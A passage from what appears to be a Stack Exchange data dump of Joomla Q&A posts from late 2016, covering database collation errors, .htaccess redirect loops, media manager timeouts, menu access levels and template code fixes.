this.&lt;/p&gt;&#xA;" OwnerUserId="8870" LastEditorUserId="126" LastEditDate="2017-06-29T20:58:32.303" LastActivityDate="2019-08-25T00:45:11.940" Title="Database errors after moving remote db to localhost" Tags="|database|update|joomla-3.6|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18661" PostTypeId="1" CreationDate="2016-12-18T14:23:24.977" Score="1" ViewCount="65" Body="&lt;p&gt;So, I recently updated to version 3.6.5. I initially tested the update on a test server before moving the update to my live server. The issue I'm running into is Mysql 1273 &#xA;Error&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CREATE TABLE `zyjgk_assets` (&#xA;`id` int( 10 ) unsigned NOT NULL AUTO_INCREMENT COMMENT 'Primary Key',&#xA;`parent_id` int( 11 ) NOT NULL DEFAULT '0' COMMENT 'Nested set parent.',&#xA;`lft` int( 11 ) NOT NULL DEFAULT '0' COMMENT 'Nested set lft.',&#xA;`rgt` int( 11 ) NOT NULL DEFAULT '0' COMMENT 'Nested set rgt.',&#xA;`level` int( 10 ) unsigned NOT NULL COMMENT 'The cached level in the nested tree.',&#xA;`name` varchar( 50 ) COLLATE utf8mb4_unicode_ci NOT NULL COMMENT 'The unique name for the asset.\n',&#xA;`title` varchar( 100 ) COLLATE utf8mb4_unicode_ci NOT NULL COMMENT 'The descriptive title for the asset.',&#xA;`rules` varchar( 5120 ) COLLATE utf8mb4_unicode_ci NOT NULL COMMENT 'JSON encoded access control.',&#xA;PRIMARY KEY ( `id` ) ,&#xA;UNIQUE KEY `idx_asset_name` ( `name` ) ,&#xA;KEY `idx_lft_rgt` ( `lft` , `rgt` ) ,&#xA;KEY `idx_parent_id` ( `parent_id` )&#xA;) ENGINE = MYISAM AUTO_INCREMENT =362 DEFAULT CHARSET = utf8mb4 COLLATE = utf8mb4_unicode_ci;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Googling around suggests that there is some sort incompatibility between the Mysql versions on the test and live servers, so how do I proceed from here and fix this?&lt;/p&gt;&#xA;" OwnerUserId="8870" LastActivityDate="2017-01-18T18:37:11.527" Title="Mysql Error 1273 when moving DB from dev to live server" Tags="|mysql|database|update|joomla-3.6|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18662" PostTypeId="2" ParentId="16913" CreationDate="2016-12-18T22:17:56.643" Score="0" Body="&lt;p&gt;500 errors can sometimes be caused by an incorrect configuration in the .htaccess file or by a resource limitation in the hosting plan.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given the intermittent nature of the problem you describe, it sounds like it might be a resource limitation issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enabling GZip and the Joomla cache in System Configuration and enabling the page cache in plugin manager may help if these aren't enabled already.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-12-18T22:17:56.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18663" PostTypeId="2" ParentId="5863" CreationDate="2016-12-19T02:05:53.640" Score="1" Body="&lt;p&gt;This is probably because of incorrect &lt;code&gt;&amp;lt;base&amp;gt;&lt;/code&gt; tag value that is auto generated by Joomla in multi language setup when SEF and URL Rewriting are ON. You can fix it by removing the Joomla generated &lt;code&gt;&amp;lt;base&amp;gt;&lt;/code&gt; tag and then adding a new one manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open your template's index.php file, inside the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; tag, after the &lt;code&gt;&amp;lt;jdoc:include type=&quot;head&quot; /&amp;gt;&lt;/code&gt; add this code :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$doc = JFactory::getDocument();&#xA;unset($doc-&amp;gt;base); ?&amp;gt;&#xA;&amp;lt;base href=&quot;&amp;lt;?php echo JURI::root(); ?&amp;gt;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Tested with Joomla 3.6.5&lt;/p&gt;&#xA;" OwnerUserId="2295" LastEditorUserId="2295" LastEditDate="2016-12-19T02:18:20.390" LastActivityDate="2016-12-19T02:18:20.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18666" PostTypeId="1" CreationDate="2016-12-19T10:06:36.257" Score="0" ViewCount="2830" Body="&lt;p&gt;I have a server with multiple websites in same place &#xA;Scenario is as belows&#xA;ABC/123&#xA;ABC/456&#xA;ABC/789&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 123 is pointed to www.123.com&#xA;The 456 is pointed to www.456.com&#xA;The 789 is pointed to www.789.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now i want www.123.com redirected to 123.com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i added below code in htaccess file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;RewriteCond %{HTTP_HOST} ^www\.123\.com [NC]&#xA;RewriteRule ^(.*)$ http://123.com/$1 [L,R=301]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it says too many redirects detected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does any one have a solution to this&#xA;Joomla version is 3.6.4&lt;/p&gt;&#xA;" OwnerUserId="3640" LastEditorUserId="126" LastEditDate="2017-02-18T08:06:41.117" LastActivityDate="2019-08-12T01:02:25.347" Title="301 Permenant Redirect joomla :too many redirects" Tags="|redirect|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18668" PostTypeId="2" ParentId="18666" CreationDate="2016-12-19T17:22:49.280" Score="1" Body="&lt;p&gt;You have a redirect loop in your &lt;code&gt;.htaccess&lt;/code&gt; file, you are redirecting from A to B and then to A.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A method to (uncleanly) address redirect loop situation in the &lt;code&gt;.htaccess&lt;/code&gt; file is to add the following to your &lt;code&gt;.htaccess&lt;/code&gt; file immediately after &lt;code&gt;RewriteEngine On&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{ENV:REDIRECT_STATUS} 200&#xA;RewriteRule .* - [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above should ensure that a redirect rule is only triggered once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Update based on your update: Please check if you have an SEF plugin redirecting non-www to www. This where your redirect loop might be coming from.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="7867" LastEditorUserId="7867" LastEditDate="2017-10-20T15:51:12.383" LastActivityDate="2017-10-20T15:51:12.383" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18669" PostTypeId="2" ParentId="18661" CreationDate="2016-12-19T18:29:31.493" Score="1" Body="&lt;p&gt;If you have a SQL file that you're uploading to &lt;code&gt;phpMyAdmin&lt;/code&gt;, then try doing a find and replace. Replace &lt;code&gt;utf8mb4_unicode_ci&lt;/code&gt; with &lt;code&gt;utf8_general_ci&lt;/code&gt;, &lt;strong&gt;and then&lt;/strong&gt; replace &lt;code&gt;utf8mb4&lt;/code&gt; with &lt;code&gt;utf8&lt;/code&gt;, and then try uploading the file again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: the above is not tested - but it should work. If possible, please post back your findings here so that others can learn from your experience.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-12-19T18:29:31.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18670" PostTypeId="2" ParentId="15661" CreationDate="2016-12-20T07:09:36.350" Score="0" Body="&lt;p&gt;I think what you done wrong is that default=&quot;0&quot; in your xml file. Instead you try the radio field in the xml file as below. Few fields helps in xml to get what yo want.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field  name=&quot;testradio&quot; type=&quot;radio&quot; label=&quot;Select an option&quot;&#xA;    description=&quot;&quot; class=&quot;btn-group btn-group-yesno&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;0&quot;&amp;gt;Option 0&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;1&quot;&amp;gt;Option 1&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am sure when you have edit layout that time you automatically get the Option 0 selected if you chosen 0 previously.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Output in Edit Layout will be&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/OJhrm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OJhrm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets try this. If still any problem then feel free to say.&lt;/p&gt;&#xA;" OwnerUserId="9450" LastActivityDate="2016-12-20T07:09:36.350" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18671" PostTypeId="2" ParentId="15050" CreationDate="2016-12-20T09:04:54.047" Score="1" Body="&lt;p&gt;instead of &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require ('file_path_here');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;try using &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once('file_path_here');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Whenever you need any file to be included in the current page then remember,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;require()&lt;/strong&gt; includes file that previously been included.&#xA;&lt;strong&gt;require_once()&lt;/strong&gt; ignore the file if it is previously been included in the same page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;try to figure out difference between include(), include_once(), require(), require_once() then use whichever is best for you.&lt;/p&gt;&#xA;" OwnerUserId="9450" LastActivityDate="2016-12-20T09:04:54.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18672" PostTypeId="2" ParentId="18496" CreationDate="2016-12-20T10:08:43.343" Score="-1" Body="&lt;p&gt;1.open &lt;strong&gt;toggle editor&lt;/strong&gt; for article.&lt;br&gt;&#xA;2.add this line into your code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;media/mod_languages/images/hi_in.gif&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;3.you can add any flag by just changing &lt;strong&gt;hi_in&lt;/strong&gt; by another flag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the output will be as follow &lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/gVgxB.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gVgxB.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9449" LastActivityDate="2016-12-20T10:08:43.343" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18673" PostTypeId="1" AcceptedAnswerId="18695" CreationDate="2016-12-20T10:30:02.360" Score="2" ViewCount="114" Body="&lt;p&gt;I am working on a website where media manager data is quite huge. Because of this reason the media manager is not working and gives&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;504 Gateway timeout error&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Total media manager files are of 25gb. &lt;/li&gt;&#xA;&lt;li&gt;Server timeout has been set to 120 seconds.&lt;/li&gt;&#xA;&lt;li&gt;Joomla Version - 3.6.5&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is there any way by which this can be resolved? Or is there any limit defined that how much files media manager can hold upto ? &lt;/p&gt;&#xA;" OwnerUserId="7632" LastEditorUserId="7632" LastEditDate="2016-12-20T11:47:55.717" LastActivityDate="2016-12-23T10:47:58.650" Title="Media Manager 504 error" Tags="|joomla-3.x|media-manager|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18676" PostTypeId="1" CreationDate="2016-12-21T11:03:02.003" Score="1" ViewCount="42" Body="&lt;p&gt;I'm helping out with a Joomla/Vm website that someone else has built and there are alot of custom modules which use syntax such as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[module class=&quot;top-cart&quot; type=&quot;mod&quot; params=&quot;93&quot; modstyle=&quot;none&quot; /]&#xA;Cart&#xA;[module class=&quot;top-account&quot; type=&quot;mod&quot; params=&quot;103&quot; modstyle=&quot;standard&quot; /][clearfix /]&#xA;[clearfix /][googlefont font_family=&quot;Roboto Slab:300&quot; size=&quot;18px&quot; color=&quot;#333333&quot; font_weight=&quot;300&quot; align=&quot;none&quot; margin=&quot;15px&quot; class=&quot;&quot;]100% Satisfaction Guaranteed[/googlefont][clearfix /]&#xA;Account&#xA;[module class=&quot;&quot; type=&quot;mod&quot; params=&quot;16&quot; modstyle=&quot;standard&quot; /]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've never seen this before, and cannot seem to idenitfy the plugin which allows this to be used. Has anyone used this type of syntax in Joomla before?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&#xA;Donna&lt;/p&gt;&#xA;" OwnerUserId="7973" LastActivityDate="2016-12-21T13:42:09.387" Title="Can anyone Identify this plugin from the syntax?" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18677" PostTypeId="2" ParentId="18676" CreationDate="2016-12-21T13:42:09.387" Score="2" Body="&lt;p&gt;Sorry you are not very clear with your description, however what I suspect is that you see this syntax inside an article or a custom html module, which likely is being used to load other Joomla modules. &#xA;The syntax could be from any kind of plugin so it's not something that you could get a certain answer on it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's important for you to find out the plugin then the place to look for is the plugin manager. You will have more luck if you search first at the content plugins and then the system ones. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I bet there should be not that a high number of plugins installed there that would make it impossible to identify the possible one. If in doubt, then you can find out by disabling temporary one by one, and refreshing the relative page that loads this content in the front-end, till you see the above code being displayed instead of the module's content.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2016-12-21T13:42:09.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18678" PostTypeId="1" CreationDate="2016-12-21T17:56:49.193" Score="1" ViewCount="186" Body="&lt;p&gt;I have a &lt;a href=&quot;https://www.joomla.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla!&lt;/a&gt; + &lt;a href=&quot;http://getk2.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;K2&lt;/a&gt; site that uses categories as main landing pages with articles filling in various sections of the page. Thus, I don't want articles to be seen or indexed by Google individually. However, through the use of a sitemap plugin, Google has been made aware of those individual article links and they have been indexed. Thus, all the SEO weight has been split across the category and the individual articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How can I redirect all articles (K2 items) to their parent categories and keep the link juice?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My first thought is to add a &lt;code&gt;header(&quot;Location: /[category]&quot;,TRUE,301);&lt;/code&gt; to the top of the article template. However, I'm not sure that I can dynamically retrieve the URL of the articles' category like this. Is it possible and, if so, how?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Note: This is a large site, so individually adding redirects to &lt;code&gt;.htaccess&lt;/code&gt; or removing the individual articles URLs from the auto-generated sitemap is not an option.&lt;/p&gt;&#xA;" OwnerUserId="5638" LastEditorUserId="5638" LastEditDate="2016-12-21T18:02:43.297" LastActivityDate="2016-12-21T18:02:43.297" Title="301 Redirect all K2 Items (or Joomla! articles) to the Parent Category" Tags="|joomla-3.x|articles|k2|seo|category|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18679" PostTypeId="1" CreationDate="2016-12-21T23:42:07.867" Score="0" ViewCount="50" Body="&lt;p&gt;Using the built-in Joomla Tags, I have several menu items that are Tags &gt; Compact list of tagged items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to have the list numbered on the front end- is there an easy way to do this? Possibly by numbering the table rows via CSS?&lt;/p&gt;&#xA;" OwnerUserId="8226" LastActivityDate="2016-12-22T06:21:30.433" Title="Create Numbered List of Tagged Articles" Tags="|joomla-3.x|menu|tags|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18680" PostTypeId="2" ParentId="18679" CreationDate="2016-12-22T06:21:30.433" Score="2" Body="&lt;p&gt;Hi you can use these CSS properties: counter-reset, counter-increment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for instance:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.tag-category table {  &#xA;&#xA;  counter-reset: section;&#xA;}&#xA;&#xA;.tag-category table tr{&#xA;  counter-increment: section;&#xA;}&#xA;&#xA;.tag-category table tr td a:before {&#xA;  content: counter(section) '. ';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope this help you&lt;/p&gt;&#xA;" OwnerUserId="371" LastActivityDate="2016-12-22T06:21:30.433" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18682" PostTypeId="2" ParentId="18420" CreationDate="2016-12-22T14:47:32.120" Score="0" Body="&lt;p&gt;You can achieve this by accessing product object of VirtueMart. I have done it with the custom field, so my products which have any particular custom field has 'add to cart' button replaced with my button and functionality. And as I am onto the custom field of the product, I can easily access its product object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;check my answer and discussion here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/18406/remove-add-to-cart-button-on-all-virtuemart-views-except-in-productdetails&quot;&gt;Remove &amp;#39;add to cart&amp;#39; button on all Virtuemart views except in productdetails&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5688" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2016-12-22T14:47:32.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18683" PostTypeId="1" CreationDate="2016-12-22T15:15:28.073" Score="3" ViewCount="2362" Body="&lt;p&gt;I could see few users in Joomla User Manager as below &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Enabled = true&#xA;Activated = false&#xA;Last Visit Date = 2015-10-31 12:06:20&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It looks weird, how a user is enabled without activation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: Right from the first day, the new user account activation is 'Self'&lt;/p&gt;&#xA;" OwnerUserId="2239" LastEditorUserId="2239" LastEditDate="2016-12-22T15:39:31.163" LastActivityDate="2016-12-23T08:03:12.417" Title="User Enabled but not Activated" Tags="|user|joomla-3.6|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18685" PostTypeId="2" ParentId="4400" CreationDate="2016-12-22T16:39:16.903" Score="2" Body="&lt;p&gt;Just stumbled upon this; the top answer is not correct, and the workaround offered is not needed. As they were posted a long time ago, information was probably not well known at the time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is the main purpose of JLayout to be overridable, so it was the case from day 1 (in Joomla 3.0.0).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All you have to do to override, say &lt;code&gt;joomla.edit.frontediting_modules&lt;/code&gt; is to coy the original layout file to your template override folder. In that example, you would copy:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/layouts/joomla/edit/frontediting_modules.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/templates/{your_templates}/html/layouts/joomla/edit/frontediting_modules.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and just make your changes as usual for other types of overrides.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the &lt;a href=&quot;https://docs.joomla.org/J3.x:Sharing_layouts_across_views_or_extensions_with_JLayout&quot; rel=&quot;nofollow noreferrer&quot;&gt;corresponding Joomla documentation page&lt;/a&gt; (Look at the &quot;Template overrides&quot; paragraph.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rgds&lt;/p&gt;&#xA;" OwnerUserId="8650" LastActivityDate="2016-12-22T16:39:16.903" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18688" PostTypeId="1" CreationDate="2016-12-23T00:07:54.080" Score="1" ViewCount="232" Body="&lt;p&gt;I have a RPi which will run a Joomla based website for allowing users to stream audio.&lt;/p&gt;&#xA;" OwnerUserId="9463" LastEditorUserId="9463" LastEditDate="2017-01-11T00:39:09.390" LastActivityDate="2017-01-11T00:39:09.390" Title="Joomla on RPi - Apache or Nginx?" Tags="|joomla-3.x|apache|nginx|" AnswerCount="0" CommentCount="7" ClosedDate="2016-12-26T17:09:05.030" ContentLicense="CC BY-SA 3.0" />
  <row Id="18689" PostTypeId="2" ParentId="17964" CreationDate="2016-12-23T01:17:30.073" Score="1" Body="&lt;p&gt;Go to Extensions-&gt;Modules-&gt;New and select the &quot;Custom&quot; module type. Enter your code as needed then make sure on the &quot;Menu Assignment&quot; tab that &quot;On all pages&quot; is selected. Save the module and include it somewhere in your layout. That should do it. &lt;/p&gt;&#xA;" OwnerUserId="9412" LastActivityDate="2016-12-23T01:17:30.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18690" PostTypeId="1" CreationDate="2016-12-23T01:57:40.590" Score="0" ViewCount="293" Body="&lt;pre&gt;&lt;code&gt;/**&#xA;* @package Joomla.Site &#xA;* * @copyright Copyright (C) 2005 - 2015 Open Source Matters, Inc. All rights reserved. &#xA;* @license GNU General Public License version 2 or later; see LICENSE.txt &#xA;*/ &#xA;&#xA;if (version_compare(PHP_VERSION, '5.3.10', '&amp;lt;')) { &#xA;   die('Your host needs to use PHP 5.3.10 or higher to run this version of Joomla!'); &#xA;}  &#xA;&#xA;&#xA;/**&#xA; * Constant that is checked in included files to prevent direct access. &#xA; * define() is used in the installation folder rather than &quot;const&quot; to not error for PHP 5.2 and lower &#xA; */ &#xA;define('_JEXEC', 1); &#xA;if (file_exists(__DIR__ . '/defines.php')) { &#xA;    include_once __DIR__ . '/defines.php'; &#xA;} &#xA;&#xA;if (!defined('_JDEFINES')) { &#xA;  define('JPATH_BASE', __DIR__); &#xA;  require_once JPATH_BASE . '/includes/defines.php'; &#xA;} &#xA;&#xA;require_once JPATH_BASE . '/includes/framework.php'; &#xA;// Mark afterLoad in the profiler. &#xA;JDEBUG ? $_PROFILER-&amp;gt;mark('afterLoad') : null; // Instantiate the application. &#xA;$app = JFactory::getApplication('site'); // Execute the application. &#xA;$app-&amp;gt;execute();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9464" LastEditorUserId="7632" LastEditDate="2016-12-23T10:53:52.330" LastActivityDate="2016-12-29T18:19:55.830" Title="Last night my website crashed and when I enter the url I get this message (see below). Any suggestions please?" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18691" PostTypeId="1" AcceptedAnswerId="18693" CreationDate="2016-12-23T06:47:07.887" Score="4" ViewCount="71" Body="&lt;p&gt;My site is coaching resource website with 5 levels, which are connected as membership plans. &lt;a href=&quot;http://coaching.touchtight.com/register&quot; rel=&quot;noreferrer&quot;&gt;http://coaching.touchtight.com/register&lt;/a&gt;). Each plan is assigned up to certain menu levels. For example, level 1 is the free plan which is available to registered and non registered users. Level 2 plan should include access to level 1 and level 2. Level 3 plan include access to level 1, 2, 3. Level 4 plan include access up to level 4. Level 5 is a lifetime membership plan which have access to all levels(menus).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to implement access control to menu items so that only drop-down menu is visible to public, and menu items inside drop-down menu should be redirected to a registration page if the user is a non registered user. I achieved this on my level 1 menu item(Please check my site.) up to a certain extent as this visible even to non registered users. This differs from other levels as I need them only to display drop down menus to public/unregistered users. How can I achieve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My site: &lt;a href=&quot;http://coaching.touchtight.com/level-1-start&quot; rel=&quot;noreferrer&quot;&gt;http://coaching.touchtight.com/level-1-start&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Dilum&lt;/p&gt;&#xA;" OwnerUserId="8862" LastEditorUserId="3650" LastEditDate="2016-12-24T12:51:00.783" LastActivityDate="2016-12-24T12:51:00.783" Title="Implementing access control to my website" Tags="|joomla-3.x|acl|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18692" PostTypeId="2" ParentId="18690" CreationDate="2016-12-23T07:12:52.940" Score="1" Body="&lt;p&gt;The code that is echoed here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; if (version_compare(PHP_VERSION, '5.3.10', '&amp;lt;')) { die('Your host needs to use PHP 5.3.10 or higher to run this version of Joomla!'); } &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Shows that your Joomla installation is trying to use a version of PHP lower than what it needs. If you have cPanel access you can change this yourself in the section at the bottom with the icon &quot;PHP Version&quot; or something similar. Otherwise contact your site support and ask them to upgrade your PHP to a newer version. Joomla supports PHP 7 and it is fast becoming the default on many hosts so that would be my recommendation.&lt;/p&gt;&#xA;" OwnerUserId="9412" LastActivityDate="2016-12-23T07:12:52.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18693" PostTypeId="2" ParentId="18691" CreationDate="2016-12-23T07:37:38.290" Score="2" Body="&lt;p&gt;Start by going to Users-&gt;Access Levels and creating Levels 1-5 as you specified. After saving those levels continue on to Users-&gt;Groups and create groups 1-5 using the parent group &quot;Registered&quot;. Now go back to Access Levels and assign whatever combination of groups you want to each Access Level. Finally, go to your menu items, probably Menus-&gt;Main Menu and change the access of each item to the level you want it to be.&lt;/p&gt;&#xA;" OwnerUserId="9412" LastActivityDate="2016-12-23T07:37:38.290" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18694" PostTypeId="2" ParentId="18683" CreationDate="2016-12-23T08:03:12.417" Score="5" Body="&lt;p&gt;Enabled allows a user to login at will. If you switch Enabled for a user to 'off' they won't be able to get into their account. Activated however only happens one time usually by the administrator, or if set up in such a way through an activation link (by email for instance). Once an account is activated you can't deactivate it. Another word you could substitute for Activated here would be 'validated'. &lt;/p&gt;&#xA;" OwnerUserId="9412" LastActivityDate="2016-12-23T08:03:12.417" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18695" PostTypeId="2" ParentId="18673" CreationDate="2016-12-23T10:47:58.650" Score="0" Body="&lt;p&gt;Solution was to set the &lt;code&gt;timeout&lt;/code&gt; value to &lt;code&gt;500&lt;/code&gt;. Though it is quite huge but the since the data was of 25GB , this much value was needed. &lt;/p&gt;&#xA;" OwnerUserId="7632" LastActivityDate="2016-12-23T10:47:58.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18696" PostTypeId="2" ParentId="9029" CreationDate="2016-12-23T11:17:41.180" Score="0" Body="&lt;p&gt;Recently I saw one of the blogs of &lt;a href=&quot;https://jomclassifieds.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Jom Classifieds&lt;/a&gt; to build multilingual site. They have given step by step process how to create multilingual site with in minutes in a very effortless way...Hope that helps you to refer..&lt;/p&gt;&#xA;" OwnerUserId="9397" LastEditorUserId="9397" LastEditDate="2016-12-23T11:52:01.603" LastActivityDate="2016-12-23T11:52:01.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18697" PostTypeId="2" ParentId="5907" CreationDate="2016-12-23T12:20:48.083" Score="0" Body="&lt;p&gt;I'm using &lt;a href=&quot;https://yendif.com/joomla/item/events.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Yendif Events&lt;/a&gt; for event booking in my Joomla extension which fulfills the above requirements you have mentioned..Check out its&#xA;documentation for more details.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://yendif.com/joomla/events/getting-started.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://yendif.com/joomla/events/getting-started.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Hope this helps you!!!&lt;/p&gt;&#xA;" OwnerUserId="9397" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2016-12-23T12:20:48.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
